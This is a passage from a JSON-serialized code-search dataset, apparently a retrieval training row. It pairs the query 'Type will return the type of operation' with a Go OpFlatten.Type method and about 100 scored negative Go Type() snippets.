like","value":["0.60208964","0.5929402","0.57103777","0.5599777","0.54690814","0.537854","0.53584355","0.53083646","0.528712","0.523394","0.52295184","0.52264786","0.51405144","0.51041824","0.5085328","0.50626296","0.5052609","0.5046943","0.503522","0.5028703","0.50241","0.5018674","0.5008026","0.4963799","0.49434268","0.49425158","0.49419606","0.49250615","0.49138528","0.49073416","0.49037108","0.48574927","0.4854525","0.48442927","0.4829036","0.48173314","0.4812788","0.48118097","0.4810237","0.4804456","0.48010707","0.47906774","0.47847736","0.47806653","0.47796077","0.4775787","0.47717565","0.4762623","0.47606266","0.47488353","0.4741367","0.4740301","0.47218606","0.47194344","0.47143504","0.467902","0.46769792","0.4674216","0.46637303","0.46590456","0.46565467","0.46533537","0.4653021","0.46515468","0.46513718","0.46502125","0.46485633","0.46378997","0.46348956","0.46206826","0.4611692","0.46080387","0.46000516","0.45964876","0.45879093","0.45829657","0.45812288","0.457284","0.45669734","0.45669734","0.45655394","0.4563075","0.45610678","0.45603108","0.45593598","0.4549939","0.4548393","0.45403793","0.4537825","0.4536092","0.45355368","0.4533137","0.45321774","0.45310405","0.45267385","0.4526014","0.45238167","0.4520279","0.45161757","0.45156264"],"string":"[\n \"0.60208964\",\n \"0.5929402\",\n \"0.57103777\",\n \"0.5599777\",\n \"0.54690814\",\n \"0.537854\",\n \"0.53584355\",\n \"0.53083646\",\n \"0.528712\",\n \"0.523394\",\n \"0.52295184\",\n \"0.52264786\",\n \"0.51405144\",\n \"0.51041824\",\n \"0.5085328\",\n \"0.50626296\",\n \"0.5052609\",\n \"0.5046943\",\n \"0.503522\",\n \"0.5028703\",\n \"0.50241\",\n \"0.5018674\",\n \"0.5008026\",\n \"0.4963799\",\n \"0.49434268\",\n \"0.49425158\",\n \"0.49419606\",\n \"0.49250615\",\n \"0.49138528\",\n \"0.49073416\",\n \"0.49037108\",\n \"0.48574927\",\n \"0.4854525\",\n \"0.48442927\",\n \"0.4829036\",\n \"0.48173314\",\n \"0.4812788\",\n \"0.48118097\",\n \"0.4810237\",\n \"0.4804456\",\n \"0.48010707\",\n \"0.47906774\",\n \"0.47847736\",\n \"0.47806653\",\n \"0.47796077\",\n \"0.4775787\",\n \"0.47717565\",\n \"0.4762623\",\n \"0.47606266\",\n \"0.47488353\",\n \"0.4741367\",\n \"0.4740301\",\n \"0.47218606\",\n \"0.47194344\",\n \"0.47143504\",\n \"0.467902\",\n \"0.46769792\",\n \"0.4674216\",\n \"0.46637303\",\n \"0.46590456\",\n \"0.46565467\",\n \"0.46533537\",\n \"0.4653021\",\n \"0.46515468\",\n \"0.46513718\",\n \"0.46502125\",\n \"0.46485633\",\n \"0.46378997\",\n \"0.46348956\",\n \"0.46206826\",\n \"0.4611692\",\n \"0.46080387\",\n \"0.46000516\",\n \"0.45964876\",\n \"0.45879093\",\n \"0.45829657\",\n \"0.45812288\",\n \"0.457284\",\n \"0.45669734\",\n \"0.45669734\",\n \"0.45655394\",\n \"0.4563075\",\n \"0.45610678\",\n \"0.45603108\",\n \"0.45593598\",\n \"0.4549939\",\n \"0.4548393\",\n \"0.45403793\",\n \"0.4537825\",\n \"0.4536092\",\n \"0.45355368\",\n \"0.4533137\",\n \"0.45321774\",\n \"0.45310405\",\n \"0.45267385\",\n \"0.4526014\",\n \"0.45238167\",\n \"0.4520279\",\n \"0.45161757\",\n \"0.45156264\"\n]"},"document_score":{"kind":"string","value":"0.7429943"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106185,"cells":{"query":{"kind":"string","value":"Type will return the type of operation"},"document":{"kind":"string","value":"func (op *OpFlatten) Type() string {\n\treturn \"flatten\"\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op *OperationProperty) Type() string {\n\treturn \"github.com/wunderkraut/radi-api/operation.Operation\"\n}","func (op *OpAdd) Type() string {\n\treturn \"add\"\n}","func (op *ConvertOperation) Type() OpType {\n\treturn TypeConvert\n}","func (op *TotalCommentRewardOperation) Type() OpType {\n\treturn TypeTotalCommentReward\n}","func (m *EqOp) Type() string {\n\treturn \"EqOp\"\n}","func (op *CommitteePayRequestOperation) Type() OpType {\n\treturn TypeCommitteePayRequest\n}","func (op *ProducerRewardOperationOperation) Type() OpType {\n\treturn TypeProducerRewardOperation\n}","func (op *TransitToCyberwayOperation) Type() OpType {\n\treturn TypeTransitToCyberway\n}","func (op *AuthorRewardOperation) Type() OpType {\n\treturn TypeAuthorReward\n}","func (m *StartsWithCompareOperation) Type() string {\n\treturn \"StartsWithCompareOperation\"\n}","func (op *ProposalCreateOperation) Type() OpType {\n\treturn TypeProposalCreate\n}","func (m *IPInRangeCompareOperation) Type() string {\n\treturn \"IpInRangeCompareOperation\"\n}","func (m *OperativeMutation) Type() string {\n\treturn m.typ\n}","func getOperationType(op iop.OperationInput) (operationType, error) {\n\thasAccount := op.Account != nil\n\thasTransaction := op.Transaction != nil\n\tif hasAccount == hasTransaction {\n\t\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \"account\" or \"transaction\" fields set`)\n\t}\n\tif hasAccount {\n\t\treturn operationTypeCreateAccount, nil\n\t}\n\treturn operationTypePerformTransaction, nil\n}","func (m *DirectoryAudit) GetOperationType()(*string) {\n return m.operationType\n}","func (op *FillVestingWithdrawOperation) Type() OpType {\n\treturn TypeFillVestingWithdraw\n}","func (d *DarwinKeyOperation) Type() string {\n\treturn d.KeyType\n}","func (op *ClaimRewardBalanceOperation) Type() OpType {\n\treturn TypeClaimRewardBalance\n}","func (m *OperativerecordMutation) Type() string {\n\treturn m.typ\n}","func (*Int) GetOp() string { return \"Int\" }","func (m *UnaryOperatorOrd) Type() Type {\n\treturn IntType{}\n}","func (op *ResetAccountOperation) Type() OpType {\n\treturn TypeResetAccount\n}","func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }","func (op *OpRemove) Type() string {\n\treturn \"remove\"\n}","func (r *RegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (b *BitOp) Type() sql.Type {\n\trTyp := b.Right.Type()\n\tif types.IsDeferredType(rTyp) {\n\t\treturn rTyp\n\t}\n\tlTyp := b.Left.Type()\n\tif types.IsDeferredType(lTyp) {\n\t\treturn lTyp\n\t}\n\n\tif types.IsText(lTyp) || types.IsText(rTyp) {\n\t\treturn types.Float64\n\t}\n\n\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\n\t\treturn types.Uint64\n\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\n\t\treturn types.Int64\n\t}\n\n\treturn types.Float64\n}","func (s Spec) Type() string {\n\treturn \"exec\"\n}","func (op *RecoverAccountOperation) Type() OpType {\n\treturn TypeRecoverAccount\n}","func (m *UnaryOperatorLen) Type() Type {\n\treturn IntType{}\n}","func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}","func (m *ToolMutation) Type() string {\n\treturn m.typ\n}","func (cmd Command) Type() string {\n\treturn cmd.MessageType\n}","func (p RProc) Type() Type { return p.Value().Type() }","func (r *Rdispatch) Type() int8 {\n\treturn RdispatchTpe\n}","func (m *BinaryOperatorMod) Type() Type {\n\treturn IntType{}\n}","func (op *ReportOverProductionOperation) Type() OpType {\n\treturn TypeReportOverProduction\n}","func (e *CustomExecutor) GetType() int {\n\treturn model.CommandTypeCustom\n}","func (m *BinaryOperatorAdd) Type() Type {\n\treturn IntType{}\n}","func (n *NotRegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (e *EqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (expr *ExprXor) Type() types.Type {\n\treturn expr.X.Type()\n}","func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}","func (fn *Function) Type() ObjectType {\n\treturn ObjectTypeFunction\n}","func (m *UnaryOperatorNegate) Type() Type {\n\treturn IntType{}\n}","func (fn NoArgFunc) Type() Type { return fn.SQLType }","func (e *ExprXor) Type() types.Type {\n\treturn e.X.Type()\n}","func (m *BinaryOperatorDiv) Type() Type {\n\treturn IntType{}\n}","func (f *FunctionLike) Type() string {\n\tif f.macro {\n\t\treturn \"macro\"\n\t}\n\treturn \"function\"\n}","func (l *LessEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (op *OpMove) Type() string {\n\treturn \"move\"\n}","func (execution *Execution) GetType() (execType string) {\n\tswitch strings.ToLower(execution.Type) {\n\tcase \"\":\n\t\tfallthrough\n\tcase \"local\":\n\t\texecType = \"local\"\n\tcase \"remote\":\n\t\texecType = \"remote\"\n\tdefault:\n\t\tpanic(execution)\n\t}\n\n\treturn\n}","func (g *generator) customOperationType() error {\n\top := g.aux.customOp\n\tif op == nil {\n\t\treturn nil\n\t}\n\topName := op.message.GetName()\n\n\tptyp, err := g.customOpPointerType()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp := g.printf\n\n\tp(\"// %s represents a long running operation for this API.\", opName)\n\tp(\"type %s struct {\", opName)\n\tp(\" proto %s\", ptyp)\n\tp(\"}\")\n\tp(\"\")\n\tp(\"// Proto returns the raw type this wraps.\")\n\tp(\"func (o *%s) Proto() %s {\", opName, ptyp)\n\tp(\" return o.proto\")\n\tp(\"}\")\n\n\treturn nil\n}","func (m *BinaryOperatorBitOr) Type() Type {\n\treturn IntType{}\n}","func (i *InOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\n return m.operationType\n}","func (obj *standard) Operation() Operation {\n\treturn obj.op\n}","func (f *Function) Type() ObjectType {\n\treturn FUNCTION\n}","func (r *Reconciler) Type() string {\n\treturn Type\n}","func (f *Filter) GetType() FilterOperator {\n\treturn f.operator\n}","func (m *SystemMutation) Type() string {\n\treturn m.typ\n}","func (f *Function) Type() ObjectType { return FUNCTION_OBJ }","func (r ExecuteServiceRequest) Type() RequestType {\n\treturn Execute\n}","func (m *BinaryOperatorOr) Type() Type {\n\treturn BoolType{}\n}","func (l *LikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}","func (m *OrderproductMutation) Type() string {\n\treturn m.typ\n}","func (m *BinaryOperatorMult) Type() Type {\n\treturn IntType{}\n}","func (p *createPlan) Type() string {\n\treturn \"CREATE\"\n}","func (m *CarserviceMutation) Type() string {\n\treturn m.typ\n}","func (m *CarCheckInOutMutation) Type() string {\n\treturn m.typ\n}","func (op *OpRetain) Type() string {\n\treturn \"retain\"\n}","func (m *OrderonlineMutation) Type() string {\n\treturn m.typ\n}","func (o *WorkflowCliCommandAllOf) GetType() string {\n\tif o == nil || o.Type == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Type\n}","func (expr *ExprOr) Type() types.Type {\n\treturn expr.X.Type()\n}","func (Instr) Type() sql.Type { return sql.Int64 }","func (m *TypeproductMutation) Type() string {\n\treturn m.typ\n}","func (n *NotLikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn this.Operand().Type()\n}","func (m *FinancialMutation) Type() string {\n\treturn m.typ\n}","func (p *insertPlan) Type() string {\n\treturn \"INSERT\"\n}","func (m *ResourceMutation) Type() string {\n\treturn m.typ\n}","func (g *GreaterThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (typ OperationType) String() string {\n\tswitch typ {\n\tcase Query:\n\t\treturn \"query\"\n\tcase Mutation:\n\t\treturn \"mutation\"\n\tcase Subscription:\n\t\treturn \"subscription\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"OperationType(%d)\", int(typ))\n\t}\n}","func (m *HexMutation) Type() string {\n\treturn m.typ\n}","func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\n\tltype, err := b.Left.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trtype, err := b.Right.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ttyp := mergeNumericalTypes(ltype, rtype)\n\treturn b.Op.Type(typ), nil\n}","func (m *ZoneproductMutation) Type() string {\n\treturn m.typ\n}","func (m *StockMutation) Type() string {\n\treturn m.typ\n}","func (o *Function) Type() *Type {\n\treturn FunctionType\n}","func (m *ManagerMutation) Type() string {\n\treturn m.typ\n}","func (l *LessThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func GetOperatorType() OperatorType {\n\tswitch {\n\tcase IsOperatorGo():\n\t\treturn OperatorTypeGo\n\tcase IsOperatorAnsible():\n\t\treturn OperatorTypeAnsible\n\tcase IsOperatorHelm():\n\t\treturn OperatorTypeHelm\n\t}\n\treturn OperatorTypeUnknown\n}","func (e REnv) Type() Type { return e.Value().Type() }","func (m *CompetenceMutation) Type() string {\n\treturn m.typ\n}","func (op *GenericOperation) Kind() uint8 {\n\t// Must be at least long enough to get the kind byte\n\tif len(op.hex) <= 33 {\n\t\treturn opKindUnknown\n\t}\n\n\treturn op.hex[33]\n}","func (c *Call) Type() Type {\n\treturn c.ExprType\n}","func (n *NullSafeEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\n return m.operationType\n}","func (m *PromotiontypeMutation) Type() string {\n\treturn m.typ\n}","func (m *BinaryOperatorSub) Type() Type {\n\treturn IntType{}\n}","func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\n\treturn querypb.Type_INT32, nil\n}"],"string":"[\n \"func (op *OperationProperty) Type() string {\\n\\treturn \\\"github.com/wunderkraut/radi-api/operation.Operation\\\"\\n}\",\n \"func (op *OpAdd) Type() string {\\n\\treturn \\\"add\\\"\\n}\",\n \"func (op *ConvertOperation) Type() OpType {\\n\\treturn TypeConvert\\n}\",\n \"func (op *TotalCommentRewardOperation) Type() OpType {\\n\\treturn TypeTotalCommentReward\\n}\",\n \"func (m *EqOp) Type() string {\\n\\treturn \\\"EqOp\\\"\\n}\",\n \"func (op *CommitteePayRequestOperation) Type() OpType {\\n\\treturn TypeCommitteePayRequest\\n}\",\n \"func (op *ProducerRewardOperationOperation) Type() OpType {\\n\\treturn TypeProducerRewardOperation\\n}\",\n \"func (op *TransitToCyberwayOperation) Type() OpType {\\n\\treturn TypeTransitToCyberway\\n}\",\n \"func (op *AuthorRewardOperation) Type() OpType {\\n\\treturn TypeAuthorReward\\n}\",\n \"func (m *StartsWithCompareOperation) Type() string {\\n\\treturn \\\"StartsWithCompareOperation\\\"\\n}\",\n \"func (op *ProposalCreateOperation) Type() OpType {\\n\\treturn TypeProposalCreate\\n}\",\n \"func (m *IPInRangeCompareOperation) Type() string {\\n\\treturn \\\"IpInRangeCompareOperation\\\"\\n}\",\n \"func (m *OperativeMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func getOperationType(op iop.OperationInput) (operationType, error) {\\n\\thasAccount := op.Account != nil\\n\\thasTransaction := op.Transaction != nil\\n\\tif hasAccount == hasTransaction {\\n\\t\\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \\\"account\\\" or \\\"transaction\\\" fields set`)\\n\\t}\\n\\tif hasAccount {\\n\\t\\treturn operationTypeCreateAccount, nil\\n\\t}\\n\\treturn operationTypePerformTransaction, nil\\n}\",\n \"func (m *DirectoryAudit) GetOperationType()(*string) {\\n return m.operationType\\n}\",\n \"func (op *FillVestingWithdrawOperation) Type() OpType {\\n\\treturn TypeFillVestingWithdraw\\n}\",\n \"func (d *DarwinKeyOperation) Type() string {\\n\\treturn d.KeyType\\n}\",\n \"func (op *ClaimRewardBalanceOperation) Type() OpType {\\n\\treturn TypeClaimRewardBalance\\n}\",\n \"func (m *OperativerecordMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (*Int) GetOp() string { return \\\"Int\\\" }\",\n \"func (m *UnaryOperatorOrd) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ResetAccountOperation) Type() OpType {\\n\\treturn TypeResetAccount\\n}\",\n \"func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }\",\n \"func (op *OpRemove) Type() string {\\n\\treturn \\\"remove\\\"\\n}\",\n \"func (r *RegexpOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (b *BitOp) Type() sql.Type {\\n\\trTyp := b.Right.Type()\\n\\tif types.IsDeferredType(rTyp) {\\n\\t\\treturn rTyp\\n\\t}\\n\\tlTyp := b.Left.Type()\\n\\tif types.IsDeferredType(lTyp) {\\n\\t\\treturn lTyp\\n\\t}\\n\\n\\tif types.IsText(lTyp) || types.IsText(rTyp) {\\n\\t\\treturn types.Float64\\n\\t}\\n\\n\\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\\n\\t\\treturn types.Uint64\\n\\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\\n\\t\\treturn types.Int64\\n\\t}\\n\\n\\treturn types.Float64\\n}\",\n \"func (s Spec) Type() string {\\n\\treturn \\\"exec\\\"\\n}\",\n \"func (op *RecoverAccountOperation) Type() OpType {\\n\\treturn TypeRecoverAccount\\n}\",\n \"func (m *UnaryOperatorLen) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\\n\\treturn op.opHTTPData.GetOperationType()\\n}\",\n \"func (m *ToolMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (cmd Command) Type() string {\\n\\treturn cmd.MessageType\\n}\",\n \"func (p RProc) Type() Type { return p.Value().Type() }\",\n \"func (r *Rdispatch) Type() int8 {\\n\\treturn RdispatchTpe\\n}\",\n \"func (m *BinaryOperatorMod) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ReportOverProductionOperation) Type() OpType {\\n\\treturn TypeReportOverProduction\\n}\",\n \"func (e *CustomExecutor) GetType() int {\\n\\treturn model.CommandTypeCustom\\n}\",\n \"func (m *BinaryOperatorAdd) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (n *NotRegexpOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (e *EqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (expr *ExprXor) Type() types.Type {\\n\\treturn expr.X.Type()\\n}\",\n \"func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\\n\\treturn op.opHTTPData.GetOperationType()\\n}\",\n \"func (fn *Function) Type() ObjectType {\\n\\treturn ObjectTypeFunction\\n}\",\n \"func (m *UnaryOperatorNegate) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (fn NoArgFunc) Type() Type { return fn.SQLType }\",\n \"func (e *ExprXor) Type() types.Type {\\n\\treturn e.X.Type()\\n}\",\n \"func (m *BinaryOperatorDiv) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (f *FunctionLike) Type() string {\\n\\tif f.macro {\\n\\t\\treturn \\\"macro\\\"\\n\\t}\\n\\treturn \\\"function\\\"\\n}\",\n \"func (l *LessEqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (op *OpMove) Type() string {\\n\\treturn \\\"move\\\"\\n}\",\n \"func (execution *Execution) GetType() (execType string) {\\n\\tswitch strings.ToLower(execution.Type) {\\n\\tcase \\\"\\\":\\n\\t\\tfallthrough\\n\\tcase \\\"local\\\":\\n\\t\\texecType = \\\"local\\\"\\n\\tcase \\\"remote\\\":\\n\\t\\texecType = \\\"remote\\\"\\n\\tdefault:\\n\\t\\tpanic(execution)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (g *generator) customOperationType() error {\\n\\top := g.aux.customOp\\n\\tif op == nil {\\n\\t\\treturn nil\\n\\t}\\n\\topName := op.message.GetName()\\n\\n\\tptyp, err := g.customOpPointerType()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tp := g.printf\\n\\n\\tp(\\\"// %s represents a long running operation for this API.\\\", opName)\\n\\tp(\\\"type %s struct {\\\", opName)\\n\\tp(\\\" proto %s\\\", ptyp)\\n\\tp(\\\"}\\\")\\n\\tp(\\\"\\\")\\n\\tp(\\\"// Proto returns the raw type this wraps.\\\")\\n\\tp(\\\"func (o *%s) Proto() %s {\\\", opName, ptyp)\\n\\tp(\\\" return o.proto\\\")\\n\\tp(\\\"}\\\")\\n\\n\\treturn nil\\n}\",\n \"func (m *BinaryOperatorBitOr) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (i *InOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\\n return m.operationType\\n}\",\n \"func (obj *standard) Operation() Operation {\\n\\treturn obj.op\\n}\",\n \"func (f *Function) Type() ObjectType {\\n\\treturn FUNCTION\\n}\",\n \"func (r *Reconciler) Type() string {\\n\\treturn Type\\n}\",\n \"func (f *Filter) GetType() FilterOperator {\\n\\treturn f.operator\\n}\",\n \"func (m *SystemMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (f *Function) Type() ObjectType { return FUNCTION_OBJ }\",\n \"func (r ExecuteServiceRequest) Type() RequestType {\\n\\treturn Execute\\n}\",\n \"func (m *BinaryOperatorOr) Type() Type {\\n\\treturn BoolType{}\\n}\",\n \"func (l *LikeOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\\n\\treturn myOperatingSystemType.Typevar\\n}\",\n \"func (m *OrderproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *BinaryOperatorMult) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (p *createPlan) Type() string {\\n\\treturn \\\"CREATE\\\"\\n}\",\n \"func (m *CarserviceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *CarCheckInOutMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (op *OpRetain) Type() string {\\n\\treturn \\\"retain\\\"\\n}\",\n \"func (m *OrderonlineMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (o *WorkflowCliCommandAllOf) GetType() string {\\n\\tif o == nil || o.Type == nil {\\n\\t\\tvar ret string\\n\\t\\treturn ret\\n\\t}\\n\\treturn *o.Type\\n}\",\n \"func (expr *ExprOr) Type() types.Type {\\n\\treturn expr.X.Type()\\n}\",\n \"func (Instr) Type() sql.Type { return sql.Int64 }\",\n \"func (m *TypeproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (n *NotLikeOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (this *ObjectUnwrap) Type() value.Type {\\n\\n\\t// this is the succinct version of the above...\\n\\treturn this.Operand().Type()\\n}\",\n \"func (m *FinancialMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (p *insertPlan) Type() string {\\n\\treturn \\\"INSERT\\\"\\n}\",\n \"func (m *ResourceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (g *GreaterThanOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (typ OperationType) String() string {\\n\\tswitch typ {\\n\\tcase Query:\\n\\t\\treturn \\\"query\\\"\\n\\tcase Mutation:\\n\\t\\treturn \\\"mutation\\\"\\n\\tcase Subscription:\\n\\t\\treturn \\\"subscription\\\"\\n\\tdefault:\\n\\t\\treturn fmt.Sprintf(\\\"OperationType(%d)\\\", int(typ))\\n\\t}\\n}\",\n \"func (m *HexMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\\n\\tltype, err := b.Left.Type(env)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\trtype, err := b.Right.Type(env)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\ttyp := mergeNumericalTypes(ltype, rtype)\\n\\treturn b.Op.Type(typ), nil\\n}\",\n \"func (m *ZoneproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *StockMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (o *Function) Type() *Type {\\n\\treturn FunctionType\\n}\",\n \"func (m *ManagerMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (l *LessThanOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func GetOperatorType() OperatorType {\\n\\tswitch {\\n\\tcase IsOperatorGo():\\n\\t\\treturn OperatorTypeGo\\n\\tcase IsOperatorAnsible():\\n\\t\\treturn OperatorTypeAnsible\\n\\tcase IsOperatorHelm():\\n\\t\\treturn OperatorTypeHelm\\n\\t}\\n\\treturn OperatorTypeUnknown\\n}\",\n \"func (e REnv) Type() Type { return e.Value().Type() }\",\n \"func (m *CompetenceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (op *GenericOperation) Kind() uint8 {\\n\\t// Must be at least long enough to get the kind byte\\n\\tif len(op.hex) <= 33 {\\n\\t\\treturn opKindUnknown\\n\\t}\\n\\n\\treturn op.hex[33]\\n}\",\n \"func (c *Call) Type() Type {\\n\\treturn c.ExprType\\n}\",\n \"func (n *NullSafeEqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\\n return m.operationType\\n}\",\n \"func (m *PromotiontypeMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *BinaryOperatorSub) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\\n\\treturn querypb.Type_INT32, nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.73397994","0.7331954","0.72103316","0.70835686","0.7061754","0.6980852","0.69322","0.68823165","0.6846249","0.684079","0.6821877","0.67526066","0.6746585","0.674267","0.6730284","0.67165416","0.6710324","0.66475177","0.66334957","0.6620575","0.6574164","0.6569285","0.6566755","0.6549322","0.6531823","0.65267223","0.6524067","0.6494353","0.6476448","0.6455802","0.64514893","0.64397943","0.64392865","0.64281154","0.6419435","0.6413713","0.63886774","0.63807184","0.6375125","0.6373742","0.63721126","0.63579583","0.63417757","0.6332697","0.6328391","0.6324545","0.631497","0.62952644","0.62910163","0.62861925","0.62844765","0.6274955","0.62650305","0.62640405","0.62523085","0.6252087","0.6239459","0.62389636","0.6229541","0.62033015","0.6200374","0.61991316","0.6193402","0.61895406","0.61791986","0.6175558","0.6175285","0.61724573","0.61557966","0.61456096","0.61413467","0.6141278","0.6140642","0.61386997","0.61329275","0.61257845","0.6124157","0.6117993","0.61164016","0.6114104","0.611341","0.6112936","0.6107847","0.6092411","0.6090323","0.6079666","0.6078997","0.607785","0.6074464","0.60626715","0.6057602","0.60575134","0.6047113","0.60389787","0.603745","0.60356474","0.60354406","0.6028229","0.60229194","0.6016492"],"string":"[\n \"0.73397994\",\n \"0.7331954\",\n \"0.72103316\",\n \"0.70835686\",\n \"0.7061754\",\n \"0.6980852\",\n \"0.69322\",\n \"0.68823165\",\n \"0.6846249\",\n \"0.684079\",\n \"0.6821877\",\n \"0.67526066\",\n \"0.6746585\",\n \"0.674267\",\n \"0.6730284\",\n \"0.67165416\",\n \"0.6710324\",\n \"0.66475177\",\n \"0.66334957\",\n \"0.6620575\",\n \"0.6574164\",\n \"0.6569285\",\n \"0.6566755\",\n \"0.6549322\",\n \"0.6531823\",\n \"0.65267223\",\n \"0.6524067\",\n \"0.6494353\",\n \"0.6476448\",\n \"0.6455802\",\n \"0.64514893\",\n \"0.64397943\",\n \"0.64392865\",\n \"0.64281154\",\n \"0.6419435\",\n \"0.6413713\",\n \"0.63886774\",\n \"0.63807184\",\n \"0.6375125\",\n \"0.6373742\",\n \"0.63721126\",\n \"0.63579583\",\n \"0.63417757\",\n \"0.6332697\",\n \"0.6328391\",\n \"0.6324545\",\n \"0.631497\",\n \"0.62952644\",\n \"0.62910163\",\n \"0.62861925\",\n \"0.62844765\",\n \"0.6274955\",\n \"0.62650305\",\n \"0.62640405\",\n \"0.62523085\",\n \"0.6252087\",\n \"0.6239459\",\n \"0.62389636\",\n \"0.6229541\",\n \"0.62033015\",\n \"0.6200374\",\n \"0.61991316\",\n \"0.6193402\",\n \"0.61895406\",\n \"0.61791986\",\n \"0.6175558\",\n \"0.6175285\",\n \"0.61724573\",\n \"0.61557966\",\n \"0.61456096\",\n \"0.61413467\",\n \"0.6141278\",\n \"0.6140642\",\n \"0.61386997\",\n \"0.61329275\",\n \"0.61257845\",\n \"0.6124157\",\n \"0.6117993\",\n \"0.61164016\",\n \"0.6114104\",\n \"0.611341\",\n \"0.6112936\",\n \"0.6107847\",\n \"0.6092411\",\n \"0.6090323\",\n \"0.6079666\",\n \"0.6078997\",\n \"0.607785\",\n \"0.6074464\",\n \"0.60626715\",\n \"0.6057602\",\n \"0.60575134\",\n \"0.6047113\",\n \"0.60389787\",\n \"0.603745\",\n \"0.60356474\",\n \"0.60354406\",\n \"0.6028229\",\n \"0.60229194\",\n \"0.6016492\"\n]"},"document_score":{"kind":"string","value":"0.68392855"},"document_rank":{"kind":"string","value":"10"}}},{"rowIdx":106186,"cells":{"query":{"kind":"string","value":"UnmarshalJSON will unmarshal JSON into a flatten 